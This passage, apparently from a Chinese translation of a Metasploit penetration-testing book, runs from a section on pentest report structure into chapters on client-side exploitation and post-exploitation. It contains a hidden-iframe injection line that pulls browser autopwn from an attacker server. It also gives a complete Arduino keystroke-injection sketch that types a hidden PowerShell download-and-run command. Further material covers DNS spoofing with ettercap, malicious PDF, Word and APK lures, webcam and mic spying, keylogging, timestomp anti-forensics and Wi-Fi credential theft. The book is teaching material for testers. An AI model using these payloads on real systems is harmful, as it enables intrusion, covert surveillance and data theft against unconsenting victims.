现在让我们讨论如何创建渗透测试报告，看看应该包括什么，应该在哪里包括，应该添加/删除什么，如何格式化报告，使用图表等等。许多人，如经理、管理员和高级管理人员，都会阅读渗透测试的报告。因此，有必要对发现的问题进行良好的组织，以便目标受众能够正确传达和理解正确的信息。

报告的格式

一个好的渗透测试报告可以分解为以下格式：

• 页面设计

• 文件控制：

• 封面

• 文件属性

• 报告内容列表:

• 目录

• 插图列表

• 执行/高层摘要：

• 渗透测试的范围

• 严重信息

• 目标

• 假设

• 漏洞摘要

• 漏洞分布图

• 建议摘要

• 方法论/技术报告

• 测试细节

• 漏洞列表

• 可能性

• 建议

• 参考资料

• 术语表

• 附录

以下是一些重要部分的简要描述：

• 页面设计：页面设计指的是选择报告中要使用的字体、页眉和页脚、颜色等

• 文件控制：这里涵盖了报告的一般属性

• 封面：包括报告的名称、版本、时间和日期、目标组织、序列号等

• 文件属性：包括报告的标题、测试人员的姓名以及审阅此报告的人的姓名

• 报告内容列表：包含报告的内容，并与之相关联的清晰定义的页码

• 目录：这包括从报告开始到结束的所有材料的列表

• 插图列表：报告中使用的所有图表都应在此部分列出，并附有适当的页码

执行摘要

执行摘要包括了报告的总体摘要和非技术性术语，并专注于向公司的高级员工提供知识。它包含以下信息：

• 渗透测试的范围：这一部分包括进行的分析类型和测试的系统。在这一部分列出了测试的所有 IP 范围。此外，这一部分包含了关于测试的严重性信息。

• 目标：这一部分定义了测试将如何帮助目标组织，测试的好处等等。

• 假设：如果在测试过程中做出了任何假设，都需要在这里列出。假设在测试网站时发现了管理员面板中的 XSS 漏洞，但要执行它，我们需要以管理员权限登录。在这种情况下，需要做出的假设是我们需要管理员权限进行攻击。

• 漏洞摘要：以表格形式提供信息，并描述根据其风险级别（高、中、低）发现的漏洞数量。它们根据影响程度排序，从对资产影响最大的弱点到对影响最小的弱点。此外，该阶段还包含了多个系统的多个问题的漏洞分布图表。以下是一个示例：

影响	漏洞数量
高	19
中	15
低	10

• 建议摘要：此部分的建议仅适用于影响因子最高的漏洞，并且它们应相应列出。

方法论/网络管理员级报告

报告的这一部分包括渗透测试期间要执行的步骤，漏洞的深入细节以及建议。以下项目符号列表详细说明了管理员感兴趣的部分：

• 测试细节：报告的这一部分包括与测试总结相关的信息，以图表和表格的形式呈现漏洞、风险因素以及受这些漏洞感染的系统的信息。

• 漏洞清单：报告的这一部分包括漏洞的详细信息、位置以及主要原因。

• 可能性：这一部分解释了这些漏洞被攻击者针对的可能性。这是通过分析触发特定漏洞的易用性来完成的，并通过找出可以针对漏洞进行的最简单和最困难的测试来找出最容易和最困难的测试。

• 建议：此部分列出了修补漏洞的建议。如果渗透测试不建议修补程序，则只被视为半成品。

其他部分

• 参考：在制作报告时使用的所有参考资料都应在此列出。例如书籍、网站、文章等的参考资料都应明确列出，包括作者、出版物名称、出版年份或文章发表日期等。

• 术语表：报告中使用的所有技术术语都应在此列出并附上它们的含义。

• 附录：这一部分是添加不同脚本、代码和图像的绝佳位置。

摘要

在本章中，我们看到了如何使用 OpenVAS 内置连接器和各种 Metasploit 扩展有效地对网络进行渗透测试，以及如何生成测试的适当报告。我们还有许多其他连接器可供使用，例如 Nessus、SQLMAP 等，我们将在接下来的章节中继续研究它们。

在下一章中，我们将看到如何使用 Metasploit 进行客户端攻击，并通过社会工程和有效载荷传递获取无法渗透的目标的访问权限。

第十七章：客户端利用

在前几章中，我们涵盖了编码并在许多环境中执行了渗透测试；现在我们准备介绍客户端利用。在本节和接下来的几节中，我们将详细学习客户端利用。

在本章中，我们将重点关注以下内容：

• 攻击目标的浏览器

• 欺骗客户端的复杂攻击向量

• 攻击 Android 并使用 Kali NetHunter

• 使用 Arduino 进行利用

• 将 payload 注入各种文件

客户端利用有时需要受害者与恶意文件进行交互，这使得其成功取决于交互。这些交互可能是访问恶意 URL 或下载并执行文件，这意味着我们需要受害者的帮助才能成功地利用他们的系统。因此，对受害者的依赖是客户端利用的关键因素。

客户端系统可能运行不同的应用程序。PDF 阅读器、文字处理器、媒体播放器和 Web 浏览器是客户端系统的基本软件组件。在本章中，我们将发现这些应用程序中的各种缺陷，这可能导致整个系统被攻破，从而使我们能够利用被攻破的系统作为测试整个内部网络的发射台。

让我们开始利用多种技术攻击客户端，并分析可能导致成功或失败的因素，同时利用客户端漏洞。

利用浏览器进行娱乐和盈利

Web 浏览器主要用于浏览网页；然而，过时的 Web 浏览器可能导致整个系统被攻破。客户端可能永远不会使用预安装的 Web 浏览器，而是根据自己的喜好选择一个；然而，默认预安装的 Web 浏览器仍然可能导致对系统的各种攻击。通过发现浏览器组件中的漏洞来利用浏览器被称为基于浏览器的利用。

有关 Firefox 漏洞的更多信息，请参阅www.cvedetails.com/product/3264/Mozilla-Firefox.html?vendor_id=452。

参考 Internet Explorer 漏洞www.cvedetails.com/product/9900/Microsoft-Internet-Explorer.html?vendor_id=26。

浏览器 autopwn 攻击

Metasploit 提供了浏览器 autopwn，这是一组旨在通过触发相关漏洞来利用目标浏览器的各种攻击模块。为了了解这个模块的内部工作原理，让我们讨论一下攻击背后的技术。

浏览器 autopwn 攻击背后的技术

autopwn 指的是对目标的自动利用。autopwn 模块通过自动配置它们一个接一个地将大多数基于浏览器的利用程序设置为监听模式。在特定浏览器发来的请求时，它会启动一组匹配的利用程序。因此，无论受害者使用的是哪种浏览器，如果浏览器中存在漏洞，autopwn 脚本都会自动使用匹配的利用程序模块对其进行攻击。

让我们通过以下图表详细了解这种攻击向量的工作原理：

在前面的场景中，一个利用服务器基地正在运行，并配置了一些基于浏览器的利用程序及其匹配的处理程序。一旦受害者的浏览器连接到利用服务器，利用服务器基地会检查浏览器的类型，并将其与匹配的利用程序进行测试。在前面的图表中，我们有 Internet Explorer 作为受害者的浏览器。因此，与 Internet Explorer 匹配的利用程序将被发送到受害者的浏览器。随后的利用程序将与处理程序建立连接，攻击者将获得对目标的 shell 或 meterpreter 访问权限。

使用 Metasploit 浏览器 autopwn 攻击浏览器

为了进行浏览器利用攻击，我们将使用 Metasploit 中的browser_autopwn模块，如下截图所示：

我们可以看到，我们成功在 Metasploit 中加载了位于auxiliary/server/browser_autpown2的browser_autopwn模块。要发动攻击，我们需要指定LHOST、URIPATH和SRVPORT。SRVPORT是我们的利用服务器基础运行的端口。建议使用端口80或443，因为在URL中添加端口号会引起许多人的注意，看起来可疑。URIPATH是各种利用的目录路径，并且应通过将URIPATH指定为/来保持在根目录中。让我们设置所有必需的参数并启动模块，如下截图所示：

启动browser_autopwn模块将设置浏览器利用处于监听模式，等待传入连接，如下截图所示：

任何连接到我们系统端口80的目标都将根据其浏览器获得一系列的利用。让我们分析一下受害者如何连接到我们的恶意利用服务器：

我们可以看到，一旦受害者连接到我们的 IP 地址，browser_autopwn模块会以各种利用方式做出响应，直到获得 Meterpreter 访问，如下截图所示：

正如我们所看到的，browser_autopwn模块允许我们测试和积极利用受害者浏览器的多个漏洞；然而，客户端利用可能会导致服务中断。在进行客户端利用测试之前，最好获得事先许可。在接下来的部分中，我们将看到像browser_autopwn这样的模块如何对多个目标造成致命打击。

危害网站客户端

在本节中，我们将尝试开发方法，通过这些方法可以将常见攻击转化为致命的选择武器。

如前一节所示，向目标发送 IP 地址可能会引起注意，受害者可能会后悔浏览您发送的 IP 地址；然而，如果向受害者发送的是域名地址而不是裸 IP 地址，则逃避受害者的注意的可能性更大，结果是有保证的。

注入恶意 Web 脚本

一个有漏洞的网站可以作为浏览器 autopwn 服务器的发射台。攻击者可以将隐藏的 iFrame 嵌入到有漏洞服务器的网页中，这样任何访问服务器的人都将面对浏览器 autopwn 攻击。因此，每当有人访问被注入的页面时，浏览器 autopwn 利用服务器都会测试他们的浏览器是否存在漏洞，并且在大多数情况下也会利用它。

使用iFrame 注入可以实现对网站用户的大规模黑客攻击。让我们在下一节中了解攻击的解剖。

黑客攻击网站用户

让我们通过以下图表了解如何使用浏览器利用来黑客攻击网站用户：

前面的图表非常清晰。现在让我们找出如何做到这一点。但请记住，这种攻击最重要的要求是访问具有适当权限的有漏洞服务器。让我们通过以下截图更多地了解如何注入恶意脚本：

我们有一个示例网站，存在一个允许我们上传基于 PHP 的第三方 Web shell 的 Web 应用程序漏洞。要执行攻击，我们需要将以下行添加到index.php页面，或者我们选择的任何其他页面：

<iframe src="img/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> 

上述代码行将在受害者访问网站时在 iFrame 中加载恶意的浏览器 autopwn。由于这段代码在一个iframe标签中，它将自动从攻击者的系统中包含浏览器 autopwn。我们需要保存这个文件并允许访问者查看网站并浏览它。

一旦受害者浏览到被感染的网站，浏览器 autopwn 将自动在他们的浏览器上运行；但是，请确保browser_autopwn模块正在运行。如果没有，您可以使用以下命令：

如果一切顺利，我们将能够在目标系统上运行 Meterpreter。整个想法是利用目标网站来诱使尽可能多的受害者，并获取对其系统的访问权限。这种方法在进行白盒测试时非常方便，其中内部 Web 服务器的用户是目标。让我们看看当受害者浏览到恶意网站时会发生什么：

我们可以看到对 IP 192.168.10.107发起了调用，这是我们的浏览器 autopwn 服务器。让我们从攻击者的角度来看一下：

我们可以看到利用正在轻松进行。成功利用后，我们将获得 Meterpreter 访问，就像前面的例子中演示的那样。

带有 DNS 欺骗和 MITM 攻击的 autopwn

对受害者系统进行所有攻击的主要动机是以最小的检测和最低的被发现风险获得访问权限。

现在，我们已经看到了传统的浏览器 autopwn 攻击以及修改以侵入网站目标受众的方式。但是，我们仍然有以某种方式将链接发送给受害者的限制。

然而，在这种攻击中，我们将以不同的方式对受害者进行相同的浏览器 autopwn 攻击。在这种情况下，我们不会向受害者发送任何链接。相反，我们将等待他们浏览他们喜欢的网站。

这种攻击只能在局域网环境中工作。这是因为要执行这种攻击，我们需要进行 ARP 欺骗，它在第 2 层上工作，并且只在相同的广播域下工作；然而，如果我们可以以某种方式修改远程受害者的hosts文件，我们也可以在广域网上执行这种攻击，这被称为Pharming 攻击。

用 DNS 劫持欺骗受害者

让我们开始吧。在这里，我们将对受害者进行 ARP 毒化攻击，并欺骗 DNS 查询。因此，如果受害者尝试打开一个标准网站，比如google.com，这是最常浏览的网站，他们将得到浏览器 autopwn 服务作为回报，这将导致他们的系统受到浏览器 autopwn 服务器的攻击。

我们首先将创建一个用于毒化 DNS 的条目列表，这样每当受害者尝试打开一个域时，域的名称将指向我们的浏览器 autopwn 服务的 IP 地址，而不是www.google.com。DNS 的欺骗条目存储在以下文件中：

在这个例子中，我们将使用最流行的 ARP 毒化工具集之一，ettercap。首先，我们将搜索文件并在其中创建一个虚假的 DNS 条目。这很重要，因为当受害者尝试打开网站时，他们将得到我们自定义的 IP 地址，而不是原始 IP。为了做到这一点，我们需要修改etter.dns文件中的条目，如下面的截图所示：

我们需要在这一部分做以下更改：

这个条目将在受害者请求google.com时发送攻击者机器的 IP 地址。创建条目后，保存该文件并打开ettercap，使用下面截图中显示的命令：

上述命令将以图形模式启动 Ettercap，如下面的屏幕截图所示：

我们需要从“嗅探”选项卡中选择“统一嗅探…”选项，并选择默认接口，即 eth0，如下面的屏幕截图所示：

下一步是扫描网络范围，以识别网络上存在的所有主机，包括受害者和路由器，如下面的屏幕截图所示：

根据地址范围，所有扫描的主机都根据其存在进行过滤，并将网络上所有现有的主机添加到主机列表中，如下面的屏幕截图所示：

要打开主机列表，我们需要导航到“主机”选项卡并选择“主机列表”，如下面的屏幕截图所示：

下一步是将路由器地址添加到目标 2，将受害者添加到目标 1。我们将路由器用作目标 2，将受害者用作目标 1，因为我们需要拦截来自受害者并发送到路由器的信息。

下一步是浏览到 Mitm 选项卡并选择 ARP 毒化，如下面的屏幕截图所示：

接下来，点击“确定”并继续下一步，即浏览到“开始”选项卡并选择“开始嗅探”。点击“开始嗅探”选项将通知我们一个消息，显示“开始统一嗅探…”：

下一步是从“插件”选项卡中激活 DNS 欺骗插件，选择“管理插件”，如下面的屏幕截图所示：

双击 DNS 欺骗插件以激活 DNS 欺骗。激活此插件后会发生的情况是，它将开始从我们之前修改的etter.dns文件中发送虚假的 DNS 条目。因此，每当受害者请求特定网站时，来自etter.dns文件的欺骗性 DNS 条目将返回，而不是网站的原始 IP。这个虚假的条目是我们浏览器 autopwn 服务的 IP 地址。因此，受害者不会进入原始网站，而是被重定向到浏览器 autopwn 服务，从而使他们的浏览器被攻破：

让我们还在端口80上启动我们的恶意browser_autopwn服务：

现在，让我们看看当受害者尝试打开google.com/时会发生什么：

让我们也看看攻击者端是否有什么有趣的东西，或者没有：

太棒了！我们在后台打开了 Meterpreter，这表明我们的攻击已经成功，而不需要向受害者发送任何链接。这种攻击的优势在于我们从未向受害者发布任何链接，因为我们在本地网络上毒害了 DNS 条目；然而，要在 WAN 网络上执行这种攻击，我们需要修改受害者的主机文件，这样每当对特定 URL 的请求被发出时，主机文件中的受感染条目将把它重定向到我们的恶意 autopwn 服务器，如下面的屏幕截图所示：

因此，许多其他技术可以使用 Metasploit 中支持的各种攻击重新发明。

使用 Kali NetHunter 进行浏览器漏洞利用

我们看到了如何欺骗 DNS 查询并在同一网络上利用它对目标进行攻击。我们也可以使用 NetHunter Android 设备执行类似但无麻烦的攻击。为了避开受害者的眼睛，我们不会像在之前的演示中那样使用特定的网站，比如 Google。在这种攻击类型中，我们将使用 Kali NetHunter 中的cSploit工具通过脚本注入攻击注入目标正在浏览的所有网站。因此，让我们通过 cSploit 进行浏览：

我们假设我们的目标是DESKTOP-PESQ21S，点击它将打开一个包含所有列出选项的子菜单：

让我们选择 MITM，然后是脚本注入和自定义代码，结果将是以下屏幕：

我们将使用自定义脚本攻击和默认脚本来开始。现在，这将会将此脚本注入到目标正在浏览的所有网页中。让我们按“确定”来启动攻击。一旦目标打开新网站，受害者将看到以下内容：

我们可以看到我们的攻击完美地成功了。我们现在可以创建一些 JavaScript，用于加载浏览器的 autopwn 服务。我故意留下 JavaScript 练习给你完成，这样在创建脚本时，你可以研究更多技术，比如基于 JavaScript 的 cookie 记录器；然而，运行 JavaScript 后，将在后台加载浏览器的 autopwn 服务，我们将得到以下输出：

太神奇了，对吧？ NetHunter 和 cSploit 是改变游戏规则的。然而，如果你不知何故无法创建 JavaScript，你可以使用重定向选项来重定向目标，如下所示：

单击“确定”按钮将强制所有流量转到端口8080上的前一个地址，这只是我们的 autopwn 服务器的地址。

Metasploit 和 Arduino - 致命的组合

基于 Arduino 的微控制器板是微小而不寻常的硬件，当涉及到渗透测试时，它们可以充当致命武器。一些 Arduino 板支持键盘和鼠标库，这意味着它们可以作为 HID 设备：

因此，这些小型 Arduino 板可以偷偷地执行诸如键盘输入、鼠标移动和点击等人类动作，以及许多其他操作。在本节中，我们将模拟 Arduino Pro Micro 板作为键盘，从远程站点下载并执行我们的恶意载荷；然而，这些小板没有足够的内存来保存载荷，因此需要下载。

有关使用 HID 设备进行利用的更多信息，请参阅 USB Rubber Ducky 或 Teensy。

Arduino Pro Micro在诸如www.aliexpress.com/等知名购物网站上的价格不到 4 美元。因此，使用 Arduino Pro Micro 比 Teensy 和 USB Rubber Ducky 要便宜得多。

使用其编译器软件配置 Arduino 非常容易。精通编程概念的读者会发现这个练习非常容易。

有关设置和开始使用 Arduino 的更多信息，请参阅www.arduino.cc/en/Guide/Windows。

让我们看看我们需要在 Arduino 芯片上烧录的代码：

#include<Keyboard.h>
void setup() {
delay(2000);
type(KEY_LEFT_GUI,false);
type('d',false);
Keyboard.releaseAll();
delay(500);
type(KEY_LEFT_GUI,false);
type('r',false);
delay(500);
Keyboard.releaseAll();
delay(1000);
print(F("powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.10.107/pay2.exe','%TEMP%\\mal.exe'); Start-Process \"%TEMP%\\mal.exe\""));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
 Keyboard.press(key);
 if(release)
  Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
 Keyboard.print(value);
}
void loop(){}

我们有一个名为type的函数，它接受两个参数，即要按下和释放的键的名称，这决定了我们是否需要释放特定的键。下一个函数是print，它通过直接在键盘按下函数上输出文本来覆盖默认的print函数。Arduino 主要有两个函数，即loop和setup。由于我们只需要我们的 payload 下载和执行一次，所以我们将代码放在setup函数中。当我们需要重复一组指令时，需要Loop函数。delay函数相当于sleep函数，它暂停程序一定的毫秒数。type(KEY_LEFT_GUI, false);将按下目标上的左 Windows 键，由于我们需要保持按下，所以我们将false作为释放参数传递。接下来，以同样的方式，我们传递d键。现在，我们按下了两个键，即 Windows + D（显示桌面的快捷键）。一旦我们提供Keyboard.releaseAll();，Windows+d命令就会被推送到目标上执行，这将最小化桌面上的所有内容。

在www.arduino.cc/en/Reference/KeyboardModifiers了解更多关于 Arduino 键盘库的信息。

同样，我们提供下一个组合来显示运行对话框。接下来，我们在运行对话框中打印 PowerShell 命令，该命令将从远程站点192.168.10.107/pay2.exe下载我们的 payload 到Temp目录，并将其从那里执行。提供命令后，我们需要按Enter来运行命令。我们可以通过将KEY_RETURN作为键值来实现这一点。让我们看看如何向 Arduino 板写入：

我们可以看到我们需要通过浏览 Tools 菜单来选择我们的板类型，如前面的截图所示。接下来，我们需要为板选择通信端口：

接下来，我们需要通过按->图标将程序写入板：

我们的 Arduino 现在已经准备好插入受害者的系统。好消息是它模拟键盘。因此，您不必担心被检测到；但是，payload 需要被混淆得足够好，以避开杀毒软件的检测。

像这样插入设备：

一旦我们插入设备，几毫秒内，我们的 payload 就会被下载，在目标系统上执行，并为我们提供以下信息：

让我们来看看我们如何生成 payload：

我们可以看到我们为 Windows 创建了一个简单的 x64 Meterpreter payload，它将连接到端口5555。我们将可执行文件直接保存到 Apache 文件夹，并按照前面的截图启动了 Apache。接下来，我们只是启动了一个利用处理程序，它将监听端口5555上的传入连接，如下所示：

我们在这里看到了一个非常新的攻击。使用廉价的微控制器，我们能够访问 Windows 10 系统。Arduino 很有趣，我建议进一步阅读有关 Arduino、USB Rubber Ducky、Teensy 和 Kali NetHunter 的信息。Kali NetHunter 可以使用任何 Android 手机模拟相同的攻击。

有关 Teensy 的更多信息，请访问www.pjrc.com/teensy/。

有关 USB Rubber Ducky 的更多信息，请访问hakshop.myshopify.com/products/usb-rubber-ducky-deluxe。

基于文件格式的利用

在本节中，我们将涵盖使用恶意文件对受害者进行各种攻击。每当这些恶意文件运行时，Meterpreter 或 shell 访问将提供给目标系统。在下一节中，我们将介绍使用恶意文档和 PDF 文件进行利用。

基于 PDF 的漏洞利用

基于 PDF 文件格式的利用是触发各种 PDF 阅读器和解析器中的漏洞，这些漏洞被设计为执行携带 PDF 文件的有效负载，向攻击者提供对目标系统的完全访问，以 Meterpreter shell 或命令 shell 的形式；然而，在进入技术之前，让我们看看我们正在针对什么漏洞，以及环境细节是什么：

测试案例	描述
漏洞	该模块利用了 Nitro 和 Nitro Pro PDF Reader 版本 11 中实现的不安全的 JavaScript API。saveAs() Javascript API 函数允许将任意文件写入文件系统。此外，launchURL()函数允许攻击者执行文件系统上的本地文件，并绕过安全对话框。
在操作系统上利用	Windows 10
软件版本	Nitro Pro 11.0.3.173
CVE 细节	www.cvedetails.com/cve/CVE-2017-7442/
利用细节	exploit/windows/fileformat/nitro_reader_jsapi

为了利用这个漏洞，我们将创建一个 PDF 文件并发送给受害者。当受害者尝试打开我们的恶意 PDF 文件时，我们将能够获得 Meterpreter shell 或基于使用的有效负载的命令 shell。让我们进一步，尝试构建恶意的 PDF 文件：

我们需要将LHOST设置为我们的 IP 地址，并选择LPORT和SRVPORT。出于演示目的，我们将选择将端口设置为默认的8080，LPORT设置为4444。让我们按照以下方式运行模块：

我们需要通过多种方式之一向受害者发送msf.pdf文件，例如上传文件并将链接发送给受害者，将文件放入 USB 存储设备中，或者通过电子邮件发送压缩的 ZIP 文件格式；然而，出于演示目的，我们已经将文件托管在我们的 Apache 服务器上。一旦受害者下载并执行文件，他们将看到类似于以下屏幕的内容：

在一小部分时间内，覆盖的窗口将消失，并将导致成功的 Meterpreter shell，如下面的屏幕截图所示：

基于 Word 的漏洞利用

基于 Word 的漏洞利用侧重于我们可以加载到 Microsoft Word 中的各种文件格式；然而，一些文件格式执行恶意代码，并可以让攻击者访问目标系统。我们可以像对待 PDF 文件一样利用基于 Word 的漏洞。让我们快速看一些与这个漏洞相关的基本事实：

测试案例	描述
漏洞	该模块创建一个恶意的 RTF 文件，当在易受攻击的 Microsoft Word 版本中打开时，将导致代码执行。缺陷存在于olelink对象如何发出 HTTP(s)请求并执行 HTA 代码的方式。
在操作系统上利用	Windows 7 32 位
我们环境中的软件版本	Microsoft Word 2013
CVE 细节	www.cvedetails.com/cve/cve-2017-0199
利用细节	exploit/windows/fileformat/office_word_hta

让我们尝试利用这个漏洞来访问易受攻击的系统。因此，让我们快速启动 Metasploit 并创建文件，如下面的屏幕截图所示：

让我们将FILENAME和SRVHOST参数分别设置为Report.doc和我们的 IP 地址，如下图所示：

生成的文件存储在/root/.msf4/local/Report.doc路径下。让我们将这个文件移动到我们的 Apache htdocs目录：

我们需要通过多种方式之一将Report.doc文件发送给受害者，例如上传文件并将链接发送给受害者，将文件放入 USB 存储设备，或者通过电子邮件以压缩的 ZIP 文件格式发送；但是，出于演示目的，我们已经将文件托管在我们的 Apache 服务器上。让我们在受害者机器上下载它，如下所示：

让我们打开这个文件，看看是否发生了什么：

我们可以看到这里没有发生太多事情。让我们回到我们的 Metasploit 控制台，看看我们得到了什么：

哇哇！我们轻松地获得了对目标的 Meterpreter 访问权限。我们刚刚看到了创建恶意 Word 文档并访问目标机器有多么容易。但等等！是这么容易吗？不，我们还没有考虑目标系统的安全性！在现实世界的场景中，我们有很多在目标机器上运行的防病毒解决方案和防火墙，这最终会破坏我们的计划。我们将在下一章中解决这些防御措施。

使用 Metasploit 攻击 Android

Android 平台可以通过创建简单的 APK 文件或将有效负载注入现有 APK 来进行攻击。我们将介绍第一种方法。让我们开始使用msfvenom生成一个 APK 文件，如下所示：

生成 APK 文件后，我们只需要说服受害者（进行社会工程）安装 APK，或者物理上获取手机的访问权限。让我们看看受害者下载恶意 APK 后手机上会发生什么：

下载完成后，用户按照以下步骤安装文件：

大多数人在智能手机上安装新应用程序时都不会注意应用程序请求的权限。因此，攻击者可以完全访问手机并窃取个人数据。上述屏幕截图列出了应用程序需要正确运行的所需权限。一旦安装成功，攻击者就可以完全访问目标手机：

哇！我们轻松获得了 Meterpreter 访问权限。后期利用在下一章中广泛涵盖；但是，让我们看一些基本功能：

我们可以看到运行check_root命令时显示设备已被 root。让我们看一些其他功能：

我们可以使用send_sms命令从被利用手机向任何号码发送短信。让我们看看消息是否已发送：

哎呀！消息已成功传递。同时，让我们看看使用sysinfo命令我们侵入了哪个系统：

让我们对手机进行地理定位：

浏览到 Google Maps 链接，我们可以得到手机的确切位置：

让我们用被利用手机的摄像头拍几张照片：

我们可以看到我们从相机得到了图片。让我们查看这张图片：

总结和练习

本章介绍了一种实用的基于客户端的利用方法。学习基于客户端的利用将使渗透测试人员更容易进行内部审计，或者在内部攻击比外部攻击更具影响力的情况下进行操作。

在本章中，我们研究了各种技术，可以帮助我们攻击基于客户端的系统。我们研究了基于浏览器的利用及其变种。我们利用 Arduino 攻击了基于 Windows 的系统。我们学习了如何创建各种基于文件格式的利用，以及如何使用 Metasploit 进行 DNS 欺骗攻击。最后，我们还学习了如何利用 Android 设备。

您可以随意进行以下练习，以提高您的技能：

• 尝试使用 BetterCAP 执行 DNS 欺骗练习

• 从 Metasploit 生成 PDF 和 Word 利用文档，并尝试规避签名检测

• 尝试将生成的 Android APK 与其他合法 APK 绑定

在下一章中，我们将详细介绍后期利用。我们将介绍一些高级的后期利用模块，这些模块将允许我们从目标系统中收集大量有用的信息。

第十八章：Metasploit 扩展

本章将涵盖 Metasploit 的扩展用法和核心后渗透功能。在本章中，我们将专注于后渗透的开箱即用方法，并将涵盖繁琐的任务，如提权、获取明文密码、查找有价值的信息等。

在本章中，我们将涵盖和理解以下关键方面：

• 使用高级后渗透模块

• 使用自动化脚本加速渗透测试

• 提权

• 从内存中找到密码

现在让我们进入 Metasploit 的后渗透功能，并从下一节开始学习基础知识。

Metasploit 的后渗透基础

在之前的章节中，我们已经涵盖了许多后渗透模块和脚本。在本章中，我们将专注于之前未包括的功能。所以，让我们从下一节中开始使用后渗透中最基本的命令。

基本后渗透命令

核心 Meterpreter 命令提供了大多数被利用系统上可用的基本后渗透功能。让我们从一些最基本的命令开始，这些命令有助于后渗透。

帮助菜单

我们可以随时参考帮助菜单，通过发出help或?命令来列出在目标上可用的各种命令，如下面的截图所示：

后台命令

在进行后渗透时，我们可能会遇到需要执行其他任务的情况，比如测试不同的漏洞利用，或者运行提权漏洞利用。在这种情况下，我们需要将当前的 Meterpreter 会话放到后台。我们可以通过发出background命令来做到这一点，如下面的截图所示：

我们可以看到在前面的截图中，我们成功地将会话放到后台，并使用sessions -i命令重新与会话交互，后面跟着会话标识符，即前面截图中的1。

从通道中读取

Meterpreter 通过多个通道与目标进行交互。在进行后渗透时，我们可能需要列出并从特定通道读取。我们可以通过发出channel命令来做到这一点，如下所示：

在前面的截图中，我们通过发出channel -l命令列出了所有可用的通道。我们可以通过发出channel -r [channel-id]来读取一个通道。通道子系统允许通过 Meterpreter shell 作为通信子通道存在的所有逻辑通道进行读取、列出和写入。

文件操作命令

我们在之前的章节中涵盖了一些文件操作。让我们复习一下一些文件操作命令，比如pwd。使用pwd命令，我们可以查看当前目录，如下面的截图所示：

此外，我们可以使用cd命令浏览目标文件系统，并使用mkdir命令创建目录，如下面的截图所示：

Meterpreter shell 允许我们使用upload命令将文件上传到目标系统。让我们看看它是如何工作的：

我们可以通过发出edit命令后跟文件名来编辑目标上的任何文件，如下所示：

现在让我们通过发出cat命令来查看文件的内容：

我们可以使用ls命令列出目录中的所有文件，如下所示：

我们可以使用rmdir命令从目标中删除特定目录，使用rm命令删除文件，如下所示：

此外，我们可以使用download命令从目标下载文件，如下所示：

桌面命令

Metasploit 具有枚举桌面、使用网络摄像头拍照、录制麦克风声音、流式传输摄像头等桌面命令。让我们看看这些功能：

使用enumdesktops和getdesktop可以获取与目标桌面相关的信息。enumdesktop命令列出所有可用的桌面，而getdesktop列出与当前桌面相关的信息。

屏幕截图和摄像头枚举

在进行屏幕截图、摄像头拍摄、运行实时流或记录按键之前，测试人员必须事先获得许可。然而，我们可以使用snapshot命令拍摄目标的桌面快照，如下所示：

查看保存的 JPEG 文件，我们有：

让我们看看是否可以枚举摄像头并查看谁正在系统上工作：

使用webcam_list命令，我们可以找出与目标关联的摄像头数量。让我们使用以下webcam_stream命令来流式传输摄像头：

发出上述命令会在浏览器中打开一个网络摄像头流，如下截图所示：

我们还可以选择快照而不是流式传输，通过发出以下webcam_snap命令：

有时，我们需要监听环境进行监视。为了实现这一点，我们可以使用record_mic命令，如下所示：

我们可以使用record_mic命令设置捕获持续时间，通过使用-d开关传递秒数。

另一个很棒的功能是查找空闲时间以了解使用时间线，并在目标机器上的用户较不活跃时攻击系统。我们可以使用idletime命令来实现这一点，如下截图所示：

从目标获取的其他有趣信息是按键记录。我们可以通过发出keyscan_start命令启动键盘嗅探模块来转储按键记录，如下所示：

几秒钟后，我们可以使用keyscan_dump命令转储按键记录，如下所示：

在本节中，我们已经看到了许多命令。现在让我们继续进行后期利用的高级部分。

使用 Metasploit 进行高级后期利用

在本节中，我们将利用从主要命令中收集的信息来取得进一步的成功并访问目标的级别。

获取系统权限

如果我们侵入的应用程序以管理员权限运行，通过发出getsystem命令轻松获得系统级权限，如下截图所示：

系统级权限提供了最高级别的权限，能够在目标系统上执行几乎任何操作。

在较新版本的 Windows 上，getsystem模块并不是很可靠。建议尝试本地权限提升方法和模块来提升权限。

使用 timestomp 更改访问、修改和创建时间

Metasploit 被广泛应用，从私人组织到执法部门。因此，在进行隐秘行动时，强烈建议更改文件的访问、修改或创建时间。我们可以使用timestomp命令来更改文件的时间和日期。在前面的部分中，我们创建了一个名为creditcard.txt的文件。让我们使用timestomp命令更改其时间属性，如下所示：

！

我们可以看到访问时间是2016-06-19 23:23:15。我们可以使用-z开关将其修改为1999-11-26 15:15:25，如前面的截图所示。让我们看看文件是否被正确修改了：

！

我们成功地改变了creditcard.txt文件的时间戳。我们还可以使用-b开关来清除文件的所有时间细节，如下所示：

！

通过使用timestomp，我们可以单独更改修改、访问和创建时间。

其他后渗透模块

Metasploit 提供了 250 多个后渗透模块；但是，我们只会介绍一些有趣的模块，其余的留给你作为练习。

使用 Metasploit 收集无线 SSID

可以使用wlan_bss_list模块有效地发现目标系统周围的无线网络。该模块允许我们对目标周围的 Wi-Fi 网络的位置和其他必要信息进行指纹识别，如下图所示：

！

使用 Metasploit 收集 Wi-Fi 密码

与前面的模块类似，我们还有wlan_profile模块，它可以收集目标系统中保存的所有 Wi-Fi 凭据。我们可以使用该模块如下：

！

我们可以在前面的截图中看到网络的名称在<name>标签中，密码在<keyMaterial>标签中。

获取应用程序列表

Metasploit 提供了各种类型应用程序的凭证收集器；但是，要找出目标上安装了哪些应用程序，我们需要使用get_application_list模块获取应用程序列表，如下所示：

！

找出应用程序后，我们可以在目标上运行各种信息收集模块。

收集 Skype 密码

假设我们发现目标系统正在运行 Skype。Metasploit 提供了一个很好的模块，可以使用skype模块获取 Skype 密码：

！

收集 USB 历史

Metasploit 具有 USB 历史恢复模块，可以找出目标系统上使用过哪些 USB 设备。该模块在 USB 保护设置的情况下非常方便，只允许连接特定设备。使用该模块可以更轻松地欺骗 USB 描述符和硬件 ID。

有关欺骗 USB 描述符和绕过端点保护的更多信息，请参阅www.slideshare.net/the_netlocksmith/defcon-2012-hacking-using-usb-devices。

让我们看看如何使用该模块：

！

使用 Metasploit 搜索文件

